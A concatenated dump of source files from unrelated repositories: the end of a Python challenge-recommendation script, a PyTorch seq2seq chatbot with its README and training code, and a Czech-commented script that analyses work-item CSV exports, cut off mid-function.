score[int(chal)] = max( score[chal],(act_wet[act_id] *(1/ (sim_chal[chal]+1) ))) # take best score
else:
score[int(chal)] = act_wet[act_id] *(1/ (sim_chal[chal]+1) )
else: # user has no activity
for chal in chal_ids:
score[int(chal)] = 1
for Idd in score.keys(): #updating scores of challenges, iterating over whole list of challenges
Id = int(Idd)
ls=np.where(vector[:,0]==Id)[0][0] #challenge_vector with given challenge_id
cur.execute("select interests_id from users_userprofile, users_userprofile_interests where user_id="+str(user_id)+" and users_userprofile.id=users_userprofile_interests.userprofile_id intersect select interests_id from challenges_challenge_interest where challenge_id="+str(Id)+";")
tags_matching =len(cur.fetchall()) # no. of matching interests of a user and a challenge
score[Id]=score[Id]*vector[ls][2]*vector[ls][3]+tags_matching # updating score
sorted_score = sorted(score.items(), key=operator.itemgetter(1), reverse=True)# sorted scores
recChal = [x[0] for x in sorted_score] # list of recommended challenges in sorted order of their recommendation scor
recStr = "" # comma seperated string of recommended challenge_ids
for i in range(0,len(recChal)):
recStr = recStr+str(recChal[i])+","
temp_time = str(utc.localize((datetime.now())))
# print recStr
print recChal
return recChal
# print "update recommendation: " + temp_time +" ,UTC: " + str(datetime.now())
# query = "update users_userprofile set(recommendation,recommendation_date) = ( '"+ recStr[:-1] +"', '"+temp_time +"') where user_id="+ str(user) +";"
# cur.execute(query)
conn.commit()
<file_sep>/README.md
# Greymeter
Recommendation System for Greymter
| f5e345e2cedf882d080f8428738647ab1c8b0fd0 | [
"Markdown",
"Python"
] | 3 | Python | Rahul6818/Greymeter | a9e3ada135e750779b52521bffd264a29e01bb44 | c0e1713f0c105b8f72b3a13c938f18c050522327 |
refs/heads/master | <repo_name>XrosLiang/pytorch_chatbot<file_sep>/datasets/data_loader.py
# -*- coding: utf-8 -*-
# file: data_loader.py
# author: JinTian
# time: 10/05/2017 6:27 PM
# Copyright 2017 JinTian. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ------------------------------------------------------------------------
"""
this file load pair data into seq2seq model
raw file contains:
sequenceA sequenceB
....
"""
import torch
from torch.autograd import Variable
import math
import random
import re
import time
import unicodedata
from io import open
from config.global_config import *
class PairDataLoader(object):
"""
this class load raw file and generate pair data.
"""
def __init__(self):
self.SOS_token = 0
self.EOS_token = 1
self.eng_prefixes = (
"i am ", "i m ",
"he is", "he s ",
"she is", "she s",
"you are", "you re ",
"we are", "we re ",
"they are", "they re "
)
self._prepare_data('eng', 'fra')
class Lang(object):
def __init__(self, name):
self.name = name
self.word2index = {}
self.word2count = {}
self.index2word = {0: "SOS", 1: "EOS"}
self.n_words = 2 # Count SOS and EOS
def add_sentence(self, sentence):
for word in sentence.split(' '):
self.add_word(word)
def add_word(self, word):
if word not in self.word2index:
self.word2index[word] = self.n_words
self.word2count[word] = 1
self.index2word[self.n_words] = word
self.n_words += 1
else:
self.word2count[word] += 1
def filter_pair(self, p):
return len(p[0].split(' ')) < MAX_LENGTH and \
len(p[1].split(' ')) < MAX_LENGTH and \
p[0].startswith(self.eng_prefixes)
def filter_pairs(self, pairs):
return [pair for pair in pairs if self.filter_pair(pair)]
@staticmethod
def unicode_to_ascii(s):
return ''.join(
c for c in unicodedata.normalize('NFD', s)
if unicodedata.category(c) != 'Mn'
)
def normalize_string(self, s):
s = self.unicode_to_ascii(s).lower().strip()
s = re.sub(r"([.!?])", r" \1", s)
s = re.sub(r"[^a-zA-Z.!?]+", r" ", s)
return s
def read_lang(self, lang1, lang2, reverse=False):
print("Reading lines...")
lines = open('./datasets/%s-%s.txt' % (lang1, lang2), encoding='utf-8'). \
read().strip().split('\n')
pairs = [[self.normalize_string(s) for s in l.split('\t')] for l in lines]
if reverse:
pairs = [list(reversed(p)) for p in pairs]
input_lang = self.Lang(lang2)
output_lang = self.Lang(lang1)
else:
input_lang = self.Lang(lang1)
output_lang = self.Lang(lang2)
return input_lang, output_lang, pairs
@staticmethod
def indexes_from_sentence(lang, sentence):
return [lang.word2index[word] for word in sentence.split(' ')]
def variable_from_sentence(self, lang, sentence):
indexes = self.indexes_from_sentence(lang, sentence)
indexes.append(self.EOS_token)
result = Variable(torch.LongTensor(indexes).view(-1, 1))
if use_cuda:
return result.cuda()
else:
return result
def _prepare_data(self, lang1, lang2, reverse=False):
input_lang, output_lang, pairs = self.read_lang(lang1, lang2, reverse)
print("Read %s sentence pairs" % len(pairs))
self.pairs = self.filter_pairs(pairs)
print("Trimmed to %s sentence pairs" % len(self.pairs))
print("Counting words...")
for pair in self.pairs:
input_lang.add_sentence(pair[0])
output_lang.add_sentence(pair[1])
self.input_lang = input_lang
self.output_lang = output_lang
print("Counted words:")
print(input_lang.name, input_lang.n_words)
print(output_lang.name, output_lang.n_words)
def get_pair_variable(self):
input_variable = self.variable_from_sentence(self.input_lang, random.choice(self.pairs)[0])
target_variable = self.variable_from_sentence(self.output_lang, random.choice(self.pairs)[1])
return input_variable, target_variable
<file_sep>/models/models.py
# -*- coding: utf-8 -*-
# file: models.py
# author: JinTian
# time: 10/05/2017 6:09 PM
# Copyright 2017 JinTian. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ------------------------------------------------------------------------
import torch.nn as nn
import torch.nn.functional as F
from torch.autograd import Variable
from config.global_config import *
class EncoderRNN(nn.Module):
def __init__(self, input_size, hidden_size, n_layers=1):
super(EncoderRNN, self).__init__()
self.n_layers = n_layers
self.hidden_size = hidden_size
self.embedding = nn.Embedding(input_size, hidden_size)
self.gru = nn.GRU(hidden_size, hidden_size)
def forward(self, inputs, hidden):
embedded = self.embedding(inputs).view(1, 1, -1)
output = embedded
for i in range(self.n_layers):
output, hidden = self.gru(output, hidden)
return output, hidden
def init_hidden(self):
result = Variable(torch.zeros(1, 1, self.hidden_size))
if use_cuda:
return result.cuda()
else:
return result
class DecoderRNN(nn.Module):
def __init__(self, hidden_size, output_size, n_layers=1):
super(DecoderRNN, self).__init__()
self.n_layers = n_layers
self.hidden_size = hidden_size
self.embedding = nn.Embedding(output_size, hidden_size)
self.gru = nn.GRU(hidden_size, hidden_size)
self.out = nn.Linear(hidden_size, output_size)
self.softmax = nn.LogSoftmax()
def forward(self, inputs, hidden):
output = self.embedding(inputs).view(1, 1, -1)
for i in range(self.n_layers):
output = F.relu(output)
output, hidden = self.gru(output, hidden)
output = self.softmax(self.out(output[0]))
return output, hidden
def init_hidden(self):
result = Variable(torch.zeros(1, 1, self.hidden_size))
if use_cuda:
return result.cuda()
else:
return result
class AttnDecoderRNN(nn.Module):
def __init__(self, hidden_size, output_size, n_layers=1, dropout_p=0.1, max_length=MAX_LENGTH):
super(AttnDecoderRNN, self).__init__()
self.hidden_size = hidden_size
self.output_size = output_size
self.n_layers = n_layers
self.dropout_p = dropout_p
self.max_length = max_length
self.embedding = nn.Embedding(self.output_size, self.hidden_size)
self.attn = nn.Linear(self.hidden_size * 2, self.max_length)
self.attn_combine = nn.Linear(self.hidden_size * 2, self.hidden_size)
self.dropout = nn.Dropout(self.dropout_p)
self.gru = nn.GRU(self.hidden_size, self.hidden_size)
self.out = nn.Linear(self.hidden_size, self.output_size)
def forward(self, inputs, hidden, encoder_output, encoder_outputs):
embedded = self.embedding(inputs).view(1, 1, -1)
embedded = self.dropout(embedded)
attn_weights = F.softmax(
self.attn(torch.cat((embedded[0], hidden[0]), 1)))
attn_applied = torch.bmm(attn_weights.unsqueeze(0),
encoder_outputs.unsqueeze(0))
output = torch.cat((embedded[0], attn_applied[0]), 1)
output = self.attn_combine(output).unsqueeze(0)
for i in range(self.n_layers):
output = F.relu(output)
output, hidden = self.gru(output, hidden)
output = F.log_softmax(self.out(output[0]))
return output, hidden, attn_weights
def init_hidden(self):
result = Variable(torch.zeros(1, 1, self.hidden_size))
if use_cuda:
return result.cuda()
else:
return result
<file_sep>/README.md
# PyTorch Marvelous ChatBot
[Update]
it's 2019 now, previously model can not catch up state-of-art now. So we just move towards the future **a transformer based chatbot**, it's much more accurate and flexiable as well as full of imagination interms of being a cahtbot!!! More importantly we are opensourced the whole codes here: http://manaai.cn/aicodes_detail3.html?id=36
Be sure to check it if you interested in chatbot and NLP!! **it's build with tensorflow 2.0 newest api!!**
> Aim to build a Marvelous ChatBot
# Synopsis
This is the first and the only opensource of **ChatBot**, I will continues update this repo personally, aim to build a intelligent ChatBot, as the next version of Jarvis.
This repo will maintain to build a **Marvelous ChatBot** based on PyTorch,
welcome star and submit PR.
# Already Done
Currently this repo did those work:
* based on official tutorial, this repo will move on develop a seq2seq chatbot, QA system;
* re-constructed whole project, separate mess code into `data`, `model`, `train logic`;
* model can be save into local, and reload from previous saved dir, which is lack in official tutorial;
* just replace the dataset you can train your own data!
Last but not least, this project will maintain or move on other repo in the future but we will
continue implement a practical seq2seq based project to build anything you want: **Translate Machine**,
**ChatBot**, **QA System**... anything you want.
# Requirements
```
PyTorch
python3
Ubuntu Any Version
Both CPU and GPU can works
```
# Usage
Before dive into this repo, you want to glance the whole structure, we have these setups:
* `config`: contains the config params, which is global in this project, you can change a global param here;
* `datasets`: contains data and data_loader, using your own dataset, you should implement your own data_loader but just a liitle change on this one;
* `models`: contains seq2seq model definition;
* `utils`: this folder is very helpful, it contains some code may help you get out of anoying things, such as save model, or catch KeyboardInterrupt exception or load previous model, all can be done in here.
to train model is also straightforward, just type:
```
python3 train.py
```
# Contribute
wecome submit PR!!!! Let's build ChatBot together!
# Contact
if you have anyquestion, you can find me via wechat `jintianiloveu`
<file_sep>/train.py
import math
import random
import re
import time
import unicodedata
from io import open
import torch
from torch.autograd import Variable
import torch.optim as optim
from models.models import *
from utils.model_utils import *
from datasets.data_loader import PairDataLoader
def train_model(data_loader, input_variable, target_variable, encoder, decoder, encoder_optimizer, decoder_optimizer,
criterion,
max_length=MAX_LENGTH):
encoder_hidden = encoder.init_hidden()
encoder_optimizer.zero_grad()
decoder_optimizer.zero_grad()
input_length = input_variable.size()[0]
target_length = target_variable.size()[0]
encoder_outputs = Variable(torch.zeros(max_length, encoder.hidden_size))
encoder_outputs = encoder_outputs.cuda() if use_cuda else encoder_outputs
loss = 0
try:
for ei in range(input_length):
encoder_output, encoder_hidden = encoder(
input_variable[ei], encoder_hidden)
encoder_outputs[ei] = encoder_output[0][0]
except KeyboardInterrupt:
return
decoder_input = Variable(torch.LongTensor([[data_loader.SOS_token]]))
decoder_input = decoder_input.cuda() if use_cuda else decoder_input
decoder_hidden = encoder_hidden
use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False
if use_teacher_forcing:
# Teacher forcing: Feed the target as the next input
try:
for di in range(target_length):
decoder_output, decoder_hidden, decoder_attention = decoder(
decoder_input, decoder_hidden, encoder_output, encoder_outputs)
loss += criterion(decoder_output[0], target_variable[di])
decoder_input = target_variable[di] # Teacher forcing
except KeyboardInterrupt:
return
else:
# Without teacher forcing: use its own predictions as the next input
try:
for di in range(target_length):
decoder_output, decoder_hidden, decoder_attention = decoder(
decoder_input, decoder_hidden, encoder_output, encoder_outputs)
topv, topi = decoder_output.data.topk(1)
ni = topi[0][0]
decoder_input = Variable(torch.LongTensor([[ni]]))
decoder_input = decoder_input.cuda() if use_cuda else decoder_input
loss += criterion(decoder_output[0], target_variable[di])
if ni == data_loader.EOS_token:
break
except KeyboardInterrupt:
return
loss.backward()
encoder_optimizer.step()
decoder_optimizer.step()
return loss.data[0] / target_length
def train(data_loader, encoder, decoder, n_epochs, print_every=100, save_every=1000, evaluate_every=100,
learning_rate=0.01):
start = time.time()
print_loss_total = 0 # Reset every print_every
encoder_optimizer = optim.SGD(encoder.parameters(), lr=learning_rate)
decoder_optimizer = optim.SGD(decoder.parameters(), lr=learning_rate)
criterion = nn.NLLLoss()
encoder, decoder, start_epoch = load_previous_model(encoder, decoder, CHECKPOINT_DIR, MODEL_PREFIX)
for epoch in range(start_epoch, n_epochs + 1):
input_variable, target_variable = data_loader.get_pair_variable()
try:
loss = train_model(data_loader, input_variable, target_variable, encoder,
decoder, encoder_optimizer, decoder_optimizer, criterion)
except KeyboardInterrupt:
pass
print_loss_total += loss
if epoch % print_every == 0:
print_loss_avg = print_loss_total / print_every
print_loss_total = 0
print('%s (%d %d%%) %.4f' % (time_since(start, epoch / n_epochs),
epoch, epoch / n_epochs * 100, print_loss_avg))
if epoch % save_every == 0:
save_model(encoder, decoder, CHECKPOINT_DIR, MODEL_PREFIX, epoch)
if epoch % evaluate_every == 0:
evaluate_randomly(data_loader, encoder, decoder, n=1)
def evaluate(data_loader, encoder, decoder, sentence, max_length=MAX_LENGTH):
input_variable = data_loader.variable_from_sentence(data_loader.input_lang, sentence)
input_length = input_variable.size()[0]
encoder_hidden = encoder.init_hidden()
encoder_outputs = Variable(torch.zeros(max_length, encoder.hidden_size))
encoder_outputs = encoder_outputs.cuda() if use_cuda else encoder_outputs
for ei in range(input_length):
encoder_output, encoder_hidden = encoder(input_variable[ei],
encoder_hidden)
encoder_outputs[ei] = encoder_outputs[ei] + encoder_output[0][0]
decoder_input = Variable(torch.LongTensor([[data_loader.SOS_token]])) # SOS
decoder_input = decoder_input.cuda() if use_cuda else decoder_input
decoder_hidden = encoder_hidden
decoded_words = []
decoder_attentions = torch.zeros(max_length, max_length)
for di in range(max_length):
decoder_output, decoder_hidden, decoder_attention = decoder(
decoder_input, decoder_hidden, encoder_output, encoder_outputs)
decoder_attentions[di] = decoder_attention.data
topv, topi = decoder_output.data.topk(1)
ni = topi[0][0]
if ni == data_loader.EOS_token:
decoded_words.append('<EOS>')
break
else:
decoded_words.append(data_loader.output_lang.index2word[ni])
decoder_input = Variable(torch.LongTensor([[ni]]))
decoder_input = decoder_input.cuda() if use_cuda else decoder_input
return decoded_words, decoder_attentions[:di + 1]
def evaluate_randomly(data_loader, encoder, decoder, n=10):
for i in range(n):
pair = random.choice(data_loader.pairs)
print('>', pair[0])
print('=', pair[1])
output_words, attentions = evaluate(data_loader, encoder, decoder, pair[0])
output_sentence = ' '.join(output_words)
print('<', output_sentence)
print('')
def main():
pair_data_loader = PairDataLoader()
hidden_size = 256
encoder1 = EncoderRNN(pair_data_loader.input_lang.n_words, hidden_size)
attn_decoder1 = AttnDecoderRNN(hidden_size, pair_data_loader.output_lang.n_words,
1, dropout_p=0.1)
if use_cuda:
encoder1 = encoder1.cuda()
attn_decoder1 = attn_decoder1.cuda()
print('start training...')
pair_data_loader.get_pair_variable()
train(pair_data_loader, encoder1, attn_decoder1, 75000)
evaluate_randomly(pair_data_loader, encoder1, attn_decoder1)
if __name__ == '__main__':
main()
| 46ad36ff8951d981eb9144ae55737b3acda931d8 | [
"Markdown",
"Python"
] | 4 | Python | XrosLiang/pytorch_chatbot | ba4d3add5a5c1cfdc9a3d5bb6c1a3db455e42cee | 63c05e6196e2ca4d0ef064a8b26244b4bd668b3d |
refs/heads/master | <repo_name>AD2853/RTC_analyza<file_sep>/Final_GUI.py
#Tyto data byli anonymizovaná a úpravená pro výukové účely, a neodpovídají reálným měřením.
from PyQt5 import QtCore, QtGui, QtWidgets
import sys
import csv
import datetime as dt
import heapq
import tkinter
import tkinter, tkinter.messagebox
import traceback
import matplotlib
matplotlib.use('TkAgg')
def importCsv(filePath):
"""Import vstupního CSV souboru - data načtena do slovníku 'd', kde klíče jsou názvy sloupců ze vstupního CSV. Funkce vrátí vytvoření slovník 'd'. """
d = {}
with open(filePath, newline='', encoding='utf-8-sig') as csvFile:
reader = csv.reader(csvFile)
for i in list(reader)[0]:
d[i] = []
with open(filePath, newline='', encoding='utf-8-sig') as csvFile:
reader2 = csv.DictReader(csvFile)
for row in reader2:
for key in row:
d[key].append(row[key])
return(d)
def createDictionary(dataset, key):
""" Vytvoří nový slovník, kde klíče odpovídají unikátním záznamům z jednotlivých listů v hodnotách slovníku d (tzn. unikátní hodnoty jednotlivých sloupců), přiřadí všem klíčům nulovou hodnotu"""
s = set(dataset[key])
dictionaryName = {}
for item in s:
dictionaryName[item] = 0
return dictionaryName
def messageboxInfo(title, text):
root = tkinter.Tk()
root.withdraw()
tkinter.messagebox.showinfo(title, text)
root.destroy()
def messageboxError(title, text):
root = tkinter.Tk()
root.withdraw()
tkinter.messagebox.showerror(title, text)
root.destroy()
def messageboxWarning(title, text):
root = tkinter.Tk()
root.withdraw()
tkinter.messagebox.showwarning(title, text)
root.destroy()
# Jednotlivé analýzky:
# Zadání1:
def highSeverityWiWithLowPriority(dataset):
""" Vrátí slovník - seznam všech WI, které mají vysokou severitu a zároveň nízkou prioritu, vrací hodnoty listOfWiWithTime, count, pomerZCelkovehoPoctuWI."""
HighSeverity = ['Critical', 'Blocker']
HighPriority = ['Urgent', 'High', 'Unassigned']
count = 0
listOfWiWithTime = {}
for i, severity in enumerate(dataset['Severity']):
if (severity in HighSeverity) and (d['Priority'][i] not in HighPriority):
listOfWiWithTime[dataset['Work Item ID'][i]] = {'Work Item': dataset['Work Item'][i], 'Severity': dataset['Severity'][i], 'Priority': dataset['Priority'][i], 'URL': dataset['URL'][i]}
count += 1
pomerZCelkovehoPoctuWI = round((count * 100)/ len(d['Work Item ID']), 2)
return listOfWiWithTime, count, pomerZCelkovehoPoctuWI
# Zadání2:
def NotRepro(dataset):
"""Vrátí informace o WI s 'Not Repro' výsledkem."""
# 2.a - How many (and what percentage) of WIs could not be reproduced?
pocetWI = len(dataset["Resolution"])
pocetNotRepro = dataset["Resolution"].count("NotRepro")
procentoOfNotRepro = round(pocetNotRepro/pocetWI *100, 2)
return pocetWI, pocetNotRepro, procentoOfNotRepro
def NotReproList(dataset):
#2.b How many of them were Critical/Blocker?
HighSeverity = ['Critical', 'Blocker']
pocet = 0
listOfWiNotReproHighSeverity = {}
for i, resolution in enumerate(dataset['Resolution']):
if (resolution == "NotRepro") and (dataset['Severity'][i] in HighSeverity):
listOfWiNotReproHighSeverity[dataset['Work Item ID'][i]] = {'Work Item': dataset['Work Item'][i], 'Resolution': dataset['Resolution'][i], 'Severity': dataset['Severity'][i], 'URL': dataset['URL'][i]}
pocet += 1
return listOfWiNotReproHighSeverity, pocet
# Zadání3: Zoradiť resolverov podľa toho, kto má priradených najviac Critical/Blocker WI? (to môže znamenať, že robí najviac chýb, ale aj že je najschopnejší ich opraviť)
def bestResolvers(dataset):
""" Vrátí slovník o zadaném počtu resolverů s největším počtem přiřazených PBI s vysokou severitou."""
HighSeverity = ['Critical', 'Blocker']
# vytvoření slovníku, který obsahuje jako key jména všech resolverů
resolvers = createDictionary(dataset, 'Resolver')
for item in resolvers:
resolvers[item] = {'countCritical': 0, 'countBlocker': 0, 'countTotal' :0}
# doplnění hodnot countCritical, countBlocker, countTotal do slovníku
for resolver in resolvers.keys():
for i, item in enumerate(dataset['Resolver']):
if (item == resolver) and (dataset['Severity'][i] in HighSeverity):
if dataset['Severity'][i] == 'Critical':
resolvers[resolver]['countCritical'] += 1
else:
resolvers[resolver]['countBlocker'] += 1
resolvers[resolver]['countTotal'] += 1
return resolvers
#4. - 10 WI with the longest Planned Work
def longestPlannedWorkWi(dataset):
""" Vrátí slovník se seznamem WI a plánovaný časem."""
listOfWiWithPlannedWork = {}
for i, item in enumerate(dataset['Work Item ID']):
listOfWiWithPlannedWork[dataset['Work Item ID'][i]] = {'Work Item': dataset['Work Item'][i], 'Planned Work': dataset['Planned Work'][i], 'URL': dataset['URL'][i]}
for key in listOfWiWithPlannedWork:
listOfWiWithPlannedWork[key]['Planned Work'] = int(listOfWiWithPlannedWork[key]['Planned Work'].replace(",", ""))
return listOfWiWithPlannedWork
#Zadání5: 10 WI with the longest time it took to resolve
def longestTimeRequiredWI(dataset):
""" Vrátí slovník se seznamem WI a časem, který byl potřeba k uzavření WI."""
# definice proměnných
countResolved = 0
countOpen = 0
dataFormatENG = '%m/%d/%y %I:%M %p'
endScript = False
listOfWiWithTime = {}
listOfWiWithWrongDateFormat = []
# výpočet času potřebného k uzavření WI - prochází jednotlivé záznamy a vypočítává pro každý záznam výsledný čas rozdílem ResolvedDate - CreationDate
for i, resolvedDate in enumerate(dataset['Resolved Date']):
# pokud je pole resolvedDate prázdné (tzn. WI nebylo uzavřeno) - navýšení hodnoty countOpen (počet neuzavřených WI)
if resolvedDate == '':
countOpen += 1
# pokud není pole resolvedDate prázdné (tzn. WI bylo uzavřeno) - navýšení hodnoty countResolved (počet neuzavřených WI) a výpočet celkového času potřebného k uzavření WI
else:
countResolved +=1
# Zpracovává očekávaný formát data, pokud by ve vstupu byl nevalidní formát, načtě záznam s chybným formátem do seznamu listOfWiWithWrongDateFormat
try:
time = (dt.datetime.strptime(resolvedDate, dataFormatENG)) - (dt.datetime.strptime(dataset['Creation Date'][i], dataFormatENG))
# vypočtena hodnota time pro daný záznam se načte do slovníku k příslušenému WI
listOfWiWithTime[dataset['Work Item ID'][i]] = {'Work Item': dataset['Work Item'][i], 'TimeToResolve': time, 'URL': dataset['URL'][i]}
except ValueError:
listOfWiWithWrongDateFormat.append([dataset['Work Item ID'][i]])
endScript = True
# ukončení skriptu v případě, že vstupní soubor obsahuje chybný formát dat - vrátí seznam WI s chybným formátem dat
if endScript == True:
return listOfWiWithWrongDateFormat, endScript
# výstup: slovník se seznamem uzavřených WI a časem
return listOfWiWithTime, endScript
# Zadánív6. - Which + how many Blocking/Critical WIs were delayed?
def delayedWiWithHighSeverity(dataset):
HighSeverity = ['Critical', 'Blocker']
DelayedResolution = 'Delayed'
count = 0
listOfDelayedWi = {}
for i, item in enumerate(dataset['Severity']):
if (item in HighSeverity) and (dataset['Resolution'][i] == DelayedResolution):
listOfDelayedWi[dataset['Work Item ID'][i]] = {'Work Item': dataset['Work Item'][i], 'Severity': dataset['Severity'][i], 'Resolution': dataset['Resolution'][i], 'URL': dataset['URL'][i]}
count += 1
return listOfDelayedWi, count
# Zadání7:
def sortSWPartsByNumberOfHighSeverityWI(dataset):
""" Vrátí slovník pro swParts s informací o množství WI s vysoukou severitou pro danou sw part."""
HighSeverity = ['Critical', 'Blocker']
# vytvoření slovníku obsahující všechny typy SW Part
swPart = createDictionary(dataset, 'SW Part (Custom) (xT)')
for key in swPart.keys():
swPart[key] = {'countCritical': 0, 'countBlocker': 0, 'countTotal' :0}
# doplnění hodnot do vytvořeného slovníku SWPart
for typeOfSwPart in swPart.keys():
for i, item in enumerate(dataset['SW Part (Custom) (xT)']):
if item == typeOfSwPart:
if dataset['Severity'][i] in HighSeverity:
if dataset['Severity'][i] == 'Critical':
swPart[typeOfSwPart]['countCritical'] += 1
else:
swPart[typeOfSwPart]['countBlocker'] += 1
swPart[typeOfSwPart]['countTotal'] += 1
return swPart
# Zadání 8. - Which Owners selected Resolution=Later on WIs with Severity=Critical+Blocker?
def ownersWhichSelectedResolutionLaterOnHighSeverityWi(dataset):
HighSeverity = ['Critical', 'Blocker']
LaterResolution = 'Later'
count = 0
listOfOwners = {}
for i, item in enumerate(d['Severity']):
if (item in HighSeverity) and (d['Resolution'][i] == LaterResolution):
listOfOwners[dataset['Owner'][i]] = {'Work Item': dataset['Work Item'][i], 'Severity': dataset['Severity'][i], 'Resolution': dataset['Resolution'][i], 'URL': dataset['URL'][i]}
count += 1
return listOfOwners, count
# definice funkcí zobrazení výsptupu:
def oddelovac():
print(100*'-')
def printResultsSkript1(dictionary, count, pomer):
print('Skript1 results:')
for i, (k, v) in enumerate(sorted(dictionary.items(), key = lambda x : x[0])):
print(f'{i + 1}. {k}, {v}')
print(f'Celkový počet: {count}')
print(f'Procento z celkového počtu WI: {round(pomer, 2)}%')
oddelovac()
def printResultsSkript2a(countTotal, countNotRepro, pomer):
print('Skript2 results:')
print("Number of all WI:", countTotal)
print("Number of WI NotRepro:", countNotRepro)
print(f"Percentage of NotRepro WIs:, {pomer} %")
def printResultsSkript2b(dictionary, count):
print('Seznam WI s resolution NotRepro a vysokou severitou:')
for i, (k, v) in enumerate(sorted(dictionary.items(), key = lambda x : x[0])):
print(f'{i + 1}. {k}, {v}')
print((f'Celkový počet WI s vysokou severitou: {count}'))
oddelovac()
def printResultsSkript3(dictionary, limit):
print('Skript3 results:')
for i, (k, v) in enumerate(sorted(dictionary.items(), key=lambda e: e[1]['countTotal'], reverse=True)):
if i < limit:
print(f'{i + 1}. {k}, {v}')
oddelovac()
def printResultsSkript4(dictionary, limit):
print('Skript4 results:')
for i, (k, v) in enumerate(sorted(dictionary.items(), key=lambda e: e[1]['Planned Work'], reverse=True)):
if i < limit:
print(f'{i + 1}. {k}, {v}')
oddelovac()
def printResultsSkript5(dictionary, formatCheck, limit):
print('Skript5 results:')
if formatCheck == False:
for i, (k, v) in enumerate(sorted(dictionary.items(), key=lambda e: e[1]['TimeToResolve'], reverse=True)):
if i < limit:
print(f'{i + 1}. {k}, {v}')
else:
print('Chybný formát data! WI číslo:')
print(dictionary)
oddelovac()
def printResultsSkript6(dictionary, count):
print('Skript6 results:')
for i, (k, v) in enumerate(sorted(dictionary.items(), key=lambda e: e[0], reverse=True)):
print(f'{i + 1}. {k}, {v}')
print(f'Celkový počet: {count}')
oddelovac()
def printResultsSkript7(dictionary, limit):
print('Skript7 results:')
for i, (k, v) in enumerate(sorted(dictionary.items(), key=lambda e: e[1]['countTotal'], reverse=True)):
if i < limit:
print(f'{i + 1}. {k}, {v}')
oddelovac()
def printResultsSkript8(dictionary, count):
print('Skript8 results:')
for i, (k, v) in enumerate(sorted(dictionary.items(), key=lambda e: e[0], reverse=True)):
print(f'{i + 1}. {k}, {v}')
print(f'Number of Blocking/Critical WI with resolution set to "Later": {count}')
oddelovac()
# definice funkcí pro export výsledku do CSV souboru:
today = dt.datetime.now().strftime('%Y-%m-%d')
fileName = 'skript'
def exportResults_type1(dictionary, fileName, aktDate):
""" Export celého slovníku bez limitu na počet záznamů, seřazeno podle prvního klíče ve vstupním slovníku."""
fieldnames = ['Work Item ID']
for i, v in enumerate(dictionary.values()):
if i == 0:
for key in v.keys():
fieldnames.append(key)
with open(f'{fileName}_{aktDate}.csv', mode='w', newline='', encoding='utf-8-sig') as csvFile:
writer = csv.DictWriter(csvFile, delimiter=',', fieldnames=fieldnames)
dictionary = sorted(dictionary.items(), key = lambda x : x[0])
writer.writeheader()
for iDic, key in enumerate(dictionary):
dct = {fieldnames[0]: key[0]}
for i, item in enumerate(fieldnames):
if i > 0:
dct[item] = dictionary[iDic][1][item]
writer.writerow(dct)
def exportResults_type2(dictionary, fileName, aktDate, orderBy, limit):
""" Export zadaného počtu záznamů (proměnná limit), výsledek řazený podle hodnoty z proměnné orderBy"""
fieldnames = ['Work Item ID']
for i, v in enumerate(dictionary.values()):
if i == 0:
for key in v.keys():
fieldnames.append(key)
with open(f'{fileName}_{aktDate}.csv', mode='w', newline='', encoding='utf-8-sig') as csvFile:
writer = csv.DictWriter(csvFile, delimiter=',', fieldnames=fieldnames)
dictionary = sorted(dictionary.items(), key=lambda e: e[1][orderBy], reverse=True)
writer.writeheader()
for iDic, key in enumerate(dictionary):
dct = {fieldnames[0]: key[0]}
if iDic < limit:
for i, item in enumerate(fieldnames):
if i > 0:
dct[item] = dictionary[iDic][1][item]
writer.writerow(dct)
# Při spuštění analýzy:
def runAnalysisAccordingSettings(ui):
"""Provede vybrané analýzy podle uživatelského nastavení."""
#import vstupního soboboru:
try:
global d
d = importCsv(ui.absPathCurrent)
except (AttributeError, FileNotFoundError) as e:
messageboxError('Error', f'Error occured:\nNepodařilo se provést import dat ze vstupního souboru - neplatná cesta ke vstupnímu souboru!\n\nPodrobnosti:\n{e}')
# ukončit funkci
return
except Exception:
messageboxError('Error', f'Unexpected error occured:\nVstupní data pravděpodobně neodpovídají očekávanému formátu.\n\nPodrobnosti:\n{traceback.format_exc()}')
# ukončit funkci
return
# nastavení formy výstupu - konzole nebo CSV importu - u CSV importu kontrola zadání složky
exportSettingsIndex = ui.ChooseExportTo.currentIndex()
if exportSettingsIndex == 0:
try:
fileNameExport = (ui.absPathOutput)
except (AttributeError) as e:
messageboxError('Error', f'Error occured:\nNebyla zadaná platná cesta pro uložení CSV souborů!\n\nPodrobnosti:\n{e}')
return
except Exception:
messageboxError('Error', f'Unexpected error occured:\n\nPodrobnosti:\n{traceback.format_exc()}')
# ukončit funkci
return
# volání jednotlivých analýz podle nastavení checků
try:
if ui.Zadani1.isChecked():
myDict1, count1, pomer1 = highSeverityWiWithLowPriority(d)
if exportSettingsIndex == 0:
exportResults_type1(myDict1, f'{fileNameExport}//Skript1', today)
else:
printResultsSkript1(myDict1, count1, pomer1)
if ui.Zadani2.isChecked():
countTotal, countNotRepro, pomer2 = NotRepro(d)
myDict2, count2 = NotReproList(d)
if exportSettingsIndex == 0:
exportResults_type1(myDict2, f'{fileNameExport}//Skript2', today)
else:
printResultsSkript2a(countTotal, countNotRepro ,pomer2)
printResultsSkript2b(myDict2, count2)
if ui.Zadani3.isChecked():
myDict3 = bestResolvers(d)
lim3 = ui.NumberOfValuesToFilter3.value()
if exportSettingsIndex == 0:
exportResults_type2(myDict3, f'{fileNameExport}//Skript3', today, 'countTotal', lim3)
else:
printResultsSkript3(myDict3, lim3)
if ui.Zadani4.isChecked():
myDict4 = longestPlannedWorkWi(d)
lim4 = ui.NumberOfValuesToFilter4.value()
if exportSettingsIndex == 0:
